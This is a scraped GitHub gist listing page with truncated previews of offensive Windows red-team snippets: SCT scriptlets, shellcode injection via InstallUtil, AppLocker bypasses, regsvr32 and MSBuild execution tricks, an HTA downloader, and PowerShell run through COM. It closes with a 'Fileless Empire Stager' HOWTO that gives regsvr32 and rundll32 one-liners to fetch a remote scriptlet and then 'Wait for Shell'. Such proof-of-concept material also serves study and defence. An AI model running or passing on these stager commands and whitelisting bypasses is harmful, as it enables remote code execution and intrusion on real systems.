Skip to content

Instantly share code, notes, and snippets.

View nicholasmckinney's full-sized avatar

Nicholas McKinney nicholasmckinney

19 followers · 5 following
View GitHub Profile
@nicholasmckinney
nicholasmckinney / example.sct
Created May 8, 2017 00:33
SCT File Obfuscation Examples:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll
@nicholasmckinney
nicholasmckinney / rwxHunter.cs
Created May 8, 2017 00:33
Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@nicholasmckinney
nicholasmckinney / Win10Bypass.cs
Created May 8, 2017 00:33
Windows 10 Prototype Bypass Applocker
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
@nicholasmckinney
nicholasmckinney / evil.cs
Created May 8, 2017 00:33
Execute a DLL via Regsvr32
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
namespace Export
{
class Test
{
@nicholasmckinney
nicholasmckinney / InstallUtil.hta
Created May 8, 2017 00:33
Download And Compile
<html>
<head>
<script>
//Set your settings
var strFileURL = "http://192.168.56.103/execalc.html";
var oTest = new ActiveXObject("wscript.shell");
var pathTest = oTest.ExpandEnvironmentStrings("%USERPROFILE%") + "\\Downloads\\execalc.html";
var strHDLocation = pathTest;
@nicholasmckinney
nicholasmckinney / kernel.xml
Created May 8, 2017 00:33
Blog Post Code - Attacking Drivers with MSBuild.exe.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
@nicholasmckinney
nicholasmckinney / DynamicWrapperCS.cs
Created May 8, 2017 00:33
Dynamic Wrapper 1.1
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime;
using System.Text;
using System.Runtime.InteropServices;
using System.EnterpriseServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;
 
@nicholasmckinney
nicholasmckinney / EmpireCOMPosh.cs
Created May 8, 2017 00:33
Allows PowerShell Commands To Execute via JavaScript via COM. PowerShell without PowerShell.exe
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
@nicholasmckinney
nicholasmckinney / regfreeCom.ps1
Created May 8, 2017 00:33
Registration-Free Com Object from URL
# Make Sure dynwrapx,dll is in %temp%
$a = new-object -com Microsoft.Windows.ActCtx
$a.ManifestURL = 'https://gist.githubusercontent.com/subTee/36df32293bc5006148bb6b03b5c4b2c1/raw/661b5aafd55288930761d9ad4eabe7403146ab5c/dynwrapx.dll.manifest'
$b = $a.CreateObject("DynamicWrapperX")
$b.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l") | Out-Null
$b.MessageBoxW(0, "Hello, world!", "Test", 4) | Out-Null
@nicholasmckinney
nicholasmckinney / HOWTO
Created May 8, 2017 00:33
Fileless Empire Stager
1. Create Empire Listener
2. Generate Stager
3. Host Stager Code At Some URL
4. Host .sct File At Some URL
5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
-Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
7. Wait for Shell...